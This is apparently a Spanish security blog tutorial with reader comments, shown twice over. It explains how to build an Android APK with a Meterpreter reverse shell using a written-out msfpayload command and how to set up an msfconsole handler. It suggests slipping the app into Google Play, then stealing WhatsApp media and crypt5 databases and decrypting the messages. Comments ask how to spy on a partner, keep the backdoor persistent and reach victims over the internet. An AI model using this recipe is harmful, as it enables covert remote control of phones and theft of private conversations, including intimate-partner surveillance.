Facebook ha comprado WhatsApp y con ello todo lo bueno y malo que tiene esta aplicación. Lo bueno es algo sencillo de entender y es que tener más de 500 millones de usuarios es algo importante para la firma, pero también se lleva todos los problemas de seguridad que desde hace años van arrastrando a golpe de parche, aunque siguen apareciendo nuevos fallos en el cifrado y fugas de información que dejan ver tú número de teléfono, la ubicación donde estás o la dirección IP desde la que estás conectado. Además, hace algunas semanas se ha golpeado con mucha fuerza la aplicación de mensajería instantánea.
Sabemos que existen muchos métodos para espiar WhatsApp, aunque semanas atrás salió a la luz el método con el que WhatsApp para Android cifra y descifra las bases de datos de la aplicación. Conseguir estas bases de datos en Android es sencillo, ya que se almacenan en la SDCard del dispositivo, pero también pueden sacarse de un dispositivo iPhone si se tiene acceso local o al backup, aunque el proceso podría complicarse un poco, en función de si hay jailbreak o no, si hay SSH por defecto, y del tipo de dispositivo que sea y la versión del sistema iOS. Siempre podríamos intentar encontrar una vía realizando un hacking a dispositivos iPhone completo.
Alejandro Ramos (@aramosf) liberó un script en Python dónde teniendo la base de datos cifrada y el usuario de Gmail utilizado en el dispositivo Android se puede obtener las conversaciones descifradas y listas para su lectura. Además, el servicio Recover Messages ya dispone de esta funcionalidad para la recuperación de mensajes recuperados de una base de datos cifrada.
¿Cómo funciona el cifrado y el descifrado? El algoritmo para cifrar es aes-cbc-192, la información de la base de datos es cifrada utilizando una clave y el nombre de la cuenta de correo electrónico del dispositivo. El modo cbc, cipher block chaining, aplica a cada bloque de texto plano un XOR con el bloque anteriormente cifrado, para su posterior cifrado. De este modo cada bloque de texto cifrado va a depender de todo lo que está en plano procesado hasta el momento. El vector de inicialización hace que cada mensaje sea único.
PoC: El llamado Wonderland
En algunos ámbitos Meterpreter, una famosa shellcode utilizada por muchos pentesters en el maravilloso framework de explotación Metasploit, es conocido como Wonderland, ya que proporciona al usuario todas las características en la toma de control de un dispositivo remoto, y lo que haremos será jugar con él y ver qué cosas, entre otras muchas, podemos hacer. Algunas de las cosas interesantes que podemos hacer con esta shellcode en un dispositivo móvil es robar la base de datos de WhatsApp, y después descifrarla.
Lo primero es conseguir ejecutar Meterpreter en un dispositivo Android. Esto puede ser tarea no sencilla, pero con un poco de imaginación se nos pueden ocurrir muchas vías. ¿Por qué no entrar por la puerta principal? Sí, podemos intentar entrar por Google Play, ¿En serio?
En esta vida todo es probar, y como ya ha explicado Sergio de los Santos hay un ecosistema de Malware y Fake Apps en Google Play lo suficientemente grande como para que se note mucho que hemos metido un Meterpreter. Además, hemos visto que hay peleas por hacer fakes app de WhatsApp, que hay quién se ha dado de alta como Apple Inc, los que se dedican a hacer estafas de SMS Premium como la de la Linterna Molona y cibercriminales que roban el WhatsApp directamente con supuestos juegos. ¡Manos a la obra!
La primera vía sería utilizar la herramienta msfpayload para generar un APK instalable en los dispositivos Android, pero este APK no podrá ser subido a Google Play por diversos motivos, entre ellos que no está firmado por el desarrollador. Para la toma de contacto es totalmente válido, por lo que os dejo aquí como hacer un APK para Android que ejecute una Meterpreter inversa:
La otra vía sería desarrollar una APK que pida órdenes, por ejemplo, mediante un XML y que al recibir una instrucción maliciosa en ese XML se conecte a un servidor dónde le esperaremos para otorgarle un JAR, dónde empaquetado se encuentre la shellcode de Meterpreter. Este JAR se puede ejecutar dentro del provider de la app que la víctima descarga del Google Play. ¿En serio? Sigamos adelante…
Ahora una vez que tenemos de alguna de las dos formas preparadas la APK maliciosa, preparamos el servidor que recibirá la conexión y que debe devolver el JAR con la shellcode. Para ello utilizamos la herramienta del framework de Metasploit denominada msfconsole, tal y como se puede ver en la imagen.
Tras ejecutar la instrucción exploit en este módulo el servicio queda habilitado por lo que al recibir una conexión externa le devolveremos el JAR que completará la segunda stage de la ejecución de la shell Meterpreter.
En la siguiente imagen podéis visualizar como el servicio queda a la espera, y cuando recibe la conexión se envía el fichero y después se toma el control del dispositivo móvil. Recordad que lo interesante es que la APK sea distribuida a través de un market, y si es oficial el desastre sería mayor.
Ahora podemos realizar diversas acciones con esta shellcode Meterpreter dentro del dispositivo. Sin ser root se puede, siempre y cuando la APK que ha conseguido colar la shellcode tenga permisos para ello, realizar fotografías y obtenerlas en remoto, capturar sonido con el micrófono, incluso abrir un streaming entre el dispositivo y el atacante para ver en tiempo, casi, real lo que está sucediendo.
Si abrimos una shell del sistema y navegamos por la estructura de carpetas, solo accederemos a sitios dónde la app pueda, ya que no somos root. La SDCard es uno de los puntos donde podemos aprovecharnos de no ser root y encontrar información muy interesante.
Al ejecutar un ls podemos encontrar la carpeta de WhatsApp y todo lo que hay dentro de la SDCard, es como un pequeño gran bazar chino dónde podemos coger lo que queramos a un coste cero. Al meternos dentro de la carpeta de WhatsApp, ahora mismo estamos en la ruta /sdcard/WhatsApp podemos encontrar los siguientes elementos: backups, databases, media y profile pictures.
Todas las imágenes, vídeos y audios que la víctima haya intercambiado, enviados por él o recibidos, están accesibles y sin cifrar, por lo que ya nuestra shellcode podría descargarlo a nuestro equipo.
En la imagen se ve /storage/sdcard0/… por el tema de los enlaces, pero en este ejemplo nos da igual referirnos como /sdcard. Dicho esto, ¿Cómo descargamos una imagen directamente? Meterpreter proporciona un comando para realizar descargas de archivos, este comando es download, y su sintaxis es download [origen] [destino].
En la siguiente imagen se puede visualizar un ejemplo de cómo llevar a cabo esta instrucción y poder obtener todas las imágenes, vídeos y audios que se encuentran en la SDCard.
Para llevar a cabo la operativa con las bases de datos con los mensajes de WhatsApp es exactamente igual, solo que la instrucción en este caso sería download /sdcard/WhatsApp/Databases/[nombre base de datos][destino máquina local].
Ahora nos queda, una vez que hemos descargado la base de datos, utilizar el script que comentábamos al principio para descifrar la base de datos crypt5. El script lo debemos ejecutar como viene en la imagen, y solo necesitamos la cuenta de correo que está dada de alta en el dispositivo.
Ahora que tenemos la base de datos descifrada podemos utilizar aplicaciones que abran formatos SQLite3, por ejemplo el add-on de Mozilla Firefox denominado SQLite Manager si queremos hacerlo rápido. La segunda columna nos da el teléfono con el que se interactúo en el mensaje, y en la columna de data va el mensaje que se envió. Hay más columnas interesantes, ya que no todo son mensajes de texto, en otras se especifican si se envió datos como imágenes, y el recurso en el que se encuentra, audios, vídeos, etcétera.
Además, una vez que tienes los mensajes, el siguiente paso sería recuperar los mensajes que hayan sido eliminados del WhatsApp. Hay que tener en cuenta que no solo se recuperarán los mensajes de texto sino que también podrán recuperarse las miniaturas de las imágenes transmitidas, incluidas las de los vídeos y los mensajes de geo-localización, tal y como se explica en el artículo de Recuperar mensajes de WhatsApp borrados.
Autor: Pablo González
Twitter: @PabloGonzalezPe
Sabemos que existen muchos métodos para espiar WhatsApp, aunque semanas atrás salió a la luz el método con el que WhatsApp para Android cifra y descifra las bases de datos de la aplicación. Conseguir estas bases de datos en Android es sencillo, ya que se almacenan en la SDCard del dispositivo, pero también pueden sacarse de un dispositivo iPhone si se tiene acceso local o al backup, aunque el proceso podría complicarse un poco, en función de si hay jailbreak o no, si hay SSH por defecto, y del tipo de dispositivo que sea y la versión del sistema iOS. Siempre podríamos intentar encontrar una vía realizando un hacking a dispositivos iPhone completo.
Alejandro Ramos (@aramosf) liberó un script en Python dónde teniendo la base de datos cifrada y el usuario de Gmail utilizado en el dispositivo Android se puede obtener las conversaciones descifradas y listas para su lectura. Además, el servicio Recover Messages ya dispone de esta funcionalidad para la recuperación de mensajes recuperados de una base de datos cifrada.
Figura 1: Script de descifrado de bases de datos Crypt5 de WhatsApp |
¿Cómo funciona el cifrado y el descifrado? El algoritmo para cifrar es aes-cbc-192, la información de la base de datos es cifrada utilizando una clave y el nombre de la cuenta de correo electrónico del dispositivo. El modo cbc, cipher block chaining, aplica a cada bloque de texto plano un XOR con el bloque anteriormente cifrado, para su posterior cifrado. De este modo cada bloque de texto cifrado va a depender de todo lo que está en plano procesado hasta el momento. El vector de inicialización hace que cada mensaje sea único.
PoC: El llamado Wonderland
En algunos ámbitos Meterpreter, una famosa shellcode utilizada por muchos pentesters en el maravilloso framework de explotación Metasploit, es conocido como Wonderland, ya que proporciona al usuario todas las características en la toma de control de un dispositivo remoto, y lo que haremos será jugar con él y ver qué cosas, entre otras muchas, podemos hacer. Algunas de las cosas interesantes que podemos hacer con esta shellcode en un dispositivo móvil es robar la base de datos de WhatsApp, y después descifrarla.
Lo primero es conseguir ejecutar Meterpreter en un dispositivo Android. Esto puede ser tarea no sencilla, pero con un poco de imaginación se nos pueden ocurrir muchas vías. ¿Por qué no entrar por la puerta principal? Sí, podemos intentar entrar por Google Play, ¿En serio?
En esta vida todo es probar, y como ya ha explicado Sergio de los Santos hay un ecosistema de Malware y Fake Apps en Google Play lo suficientemente grande como para que se note mucho que hemos metido un Meterpreter. Además, hemos visto que hay peleas por hacer fakes app de WhatsApp, que hay quién se ha dado de alta como Apple Inc, los que se dedican a hacer estafas de SMS Premium como la de la Linterna Molona y cibercriminales que roban el WhatsApp directamente con supuestos juegos. ¡Manos a la obra!
Figura 2: Fakes App de un supuesto Apple Inc en Google Play |
La primera vía sería utilizar la herramienta msfpayload para generar un APK instalable en los dispositivos Android, pero este APK no podrá ser subido a Google Play por diversos motivos, entre ellos que no está firmado por el desarrollador. Para la toma de contacto es totalmente válido, por lo que os dejo aquí como hacer un APK para Android que ejecute una Meterpreter inversa:
msfpayload android/meterpreter/reverse_tcp LHOST=[dirección IP a la que se conecta la shellcode] LPORT=[puerto a la que se conecta] R > nombre_fichero.apk
Figura 2: Creando una APK con un Meterpreter |
La otra vía sería desarrollar una APK que pida órdenes, por ejemplo, mediante un XML y que al recibir una instrucción maliciosa en ese XML se conecte a un servidor dónde le esperaremos para otorgarle un JAR, dónde empaquetado se encuentre la shellcode de Meterpreter. Este JAR se puede ejecutar dentro del provider de la app que la víctima descarga del Google Play. ¿En serio? Sigamos adelante…
Ahora una vez que tenemos de alguna de las dos formas preparadas la APK maliciosa, preparamos el servidor que recibirá la conexión y que debe devolver el JAR con la shellcode. Para ello utilizamos la herramienta del framework de Metasploit denominada msfconsole, tal y como se puede ver en la imagen.
Figura 4: Usando msfconsole de Metasploit desde un Kali Linux |
Tras ejecutar la instrucción exploit en este módulo el servicio queda habilitado por lo que al recibir una conexión externa le devolveremos el JAR que completará la segunda stage de la ejecución de la shell Meterpreter.
En la siguiente imagen podéis visualizar como el servicio queda a la espera, y cuando recibe la conexión se envía el fichero y después se toma el control del dispositivo móvil. Recordad que lo interesante es que la APK sea distribuida a través de un market, y si es oficial el desastre sería mayor.
Figura 5: Stage 2. Se devuelve el JAR con la shell Meterpreter |
Ahora podemos realizar diversas acciones con esta shellcode Meterpreter dentro del dispositivo. Sin ser root se puede, siempre y cuando la APK que ha conseguido colar la shellcode tenga permisos para ello, realizar fotografías y obtenerlas en remoto, capturar sonido con el micrófono, incluso abrir un streaming entre el dispositivo y el atacante para ver en tiempo, casi, real lo que está sucediendo.
Si abrimos una shell del sistema y navegamos por la estructura de carpetas, solo accederemos a sitios dónde la app pueda, ya que no somos root. La SDCard es uno de los puntos donde podemos aprovecharnos de no ser root y encontrar información muy interesante.
Figura 6: Ejecutando comandos en el sistema |
Al ejecutar un ls podemos encontrar la carpeta de WhatsApp y todo lo que hay dentro de la SDCard, es como un pequeño gran bazar chino dónde podemos coger lo que queramos a un coste cero. Al meternos dentro de la carpeta de WhatsApp, ahora mismo estamos en la ruta /sdcard/WhatsApp podemos encontrar los siguientes elementos: backups, databases, media y profile pictures.
Todas las imágenes, vídeos y audios que la víctima haya intercambiado, enviados por él o recibidos, están accesibles y sin cifrar, por lo que ya nuestra shellcode podría descargarlo a nuestro equipo.
Figura 7: El contenido transmitido por WhatsApp |
En la imagen se ve /storage/sdcard0/… por el tema de los enlaces, pero en este ejemplo nos da igual referirnos como /sdcard. Dicho esto, ¿Cómo descargamos una imagen directamente? Meterpreter proporciona un comando para realizar descargas de archivos, este comando es download, y su sintaxis es download [origen] [destino].
En la siguiente imagen se puede visualizar un ejemplo de cómo llevar a cabo esta instrucción y poder obtener todas las imágenes, vídeos y audios que se encuentran en la SDCard.
Figura 8: Descargando las imágenes enviadas por WhatsApp |
Figura 9: Las bases de datos de WhatsApp en Android cifradas con crypt5 |
Ahora nos queda, una vez que hemos descargado la base de datos, utilizar el script que comentábamos al principio para descifrar la base de datos crypt5. El script lo debemos ejecutar como viene en la imagen, y solo necesitamos la cuenta de correo que está dada de alta en el dispositivo.
Figura 10: Descifrando la base de datos crypt5 de WhatsApp |
Ahora que tenemos la base de datos descifrada podemos utilizar aplicaciones que abran formatos SQLite3, por ejemplo el add-on de Mozilla Firefox denominado SQLite Manager si queremos hacerlo rápido. La segunda columna nos da el teléfono con el que se interactúo en el mensaje, y en la columna de data va el mensaje que se envió. Hay más columnas interesantes, ya que no todo son mensajes de texto, en otras se especifican si se envió datos como imágenes, y el recurso en el que se encuentra, audios, vídeos, etcétera.
Figura 11: La base de datos SQLite de WhatsApp vista en SQLite Manager |
Además, una vez que tienes los mensajes, el siguiente paso sería recuperar los mensajes que hayan sido eliminados del WhatsApp. Hay que tener en cuenta que no solo se recuperarán los mensajes de texto sino que también podrán recuperarse las miniaturas de las imágenes transmitidas, incluidas las de los vídeos y los mensajes de geo-localización, tal y como se explica en el artículo de Recuperar mensajes de WhatsApp borrados.
Autor: Pablo González
Twitter: @PabloGonzalezPe
Gracias por la Info Chema¡
ResponderEliminarSalu2¡
El autor es pablo. Por cierto, muchas gracias por compartirlo, más claro agua ;-)
ResponderEliminarQue bueno Pablo! Cuando descubriste el framework metasploit tuviste que ver un mundo paralelo :D
ResponderEliminarUn saludo
No me gusta metasploit algunos piensan que es dios y es solo un triste
ResponderEliminarframework que automatiza las cosas para los mas noobs
la verdad es que lo miras y dices...por eso me gusta tanto este mundo de la intrusion
ResponderEliminarHola chema, tengo un problema al abrir el archivo decencriptado. El SQLite Manager cuando pongo Explorar & Buscar me tira un error (http://www.subeimagenes.com/img/dibujo-945766.JPG). Alguna solucion?
ResponderEliminar@Anónimo parece que el fichero está corrupto. ¿Qué versión de Whatsapp has utilizado en la recreación de la Poc? Puedes realizar un cat del fichero de DB y comprobar que está descifrado, ya que tengo dudas de que se haya descifrado correctamente.
ResponderEliminarun saludo!
Lásto,a que sobre persistencia poco se pueda decir en Android... Genial el tutorial ;)
ResponderEliminarSi te doy el numero puedes enviarme la conversación del wapp??? jajajaj
ResponderEliminarUn tutorial muy bien explicado!! Gran trabajo Pablo!
ResponderEliminarMuy bien explicado bune trabajo,pero falta una cosa; al hacerse a usuarios fuera de la red local, las sesion al tiempo se cirra o si elimina la apk se quita, como seria el comando para que se manteniese la backdoor abierta aunque se cirre la aplicacion o se elimine, el comando migrate no funciona, alguna sugerencia o modo de hacerlo?
ResponderEliminarUn saludo :)
Bueno mi pregunta es sencilla, digame este metodo solo se utiliza para "VER! informacion de tu celular "Propio" no de otros números "X"
ResponderEliminarHola Pablo! Cómo puedo hacer para espiar whatsapp de mi pareja? Creo que me engaña y soy negada para la informática. Ayudame!! Necesito leer sus conversaciones
ResponderEliminarHola Pablo! Cómo puedo hacer para espiar whatsapp de mi pareja? Creo que me engaña y soy negada para la informática. Ayudame!! Necesito leer sus conversaciones.
ResponderEliminarAlba.
Hola, hoy estuve probando esto, pero al tratar de generar el apk con el meterpreter al parecer no se puede instalar en los dispositivos.
ResponderEliminarDe verdad me interesa aprender todo esto de seguridad informática si alguien le interesara ayudarme a aprender un poco de esto les estaría agradecido.
ResponderEliminarSegún veo, eso se hace en una red LAN, y si quiero hacerlo fuera de la red?
ResponderEliminarGracias.
Si no me equivoco, cuando creas la apk tenes que poner en LHOST tu ip pública y hacer un forwarding en loa puertos 80 y el que hallas puesto en LPORT (en el tutoríal el puerto 4444). Después en el handler pones a la escucha tu dirección ip interna de tu red y el mismo puerto que antes (4444) y debería conectarse (yo no probé este método todavía lo leí en otra página y no recuerdo cuál era sino pondría el link)
ResponderEliminarQuiero saber más sobre descifrar mensajes
ResponderEliminar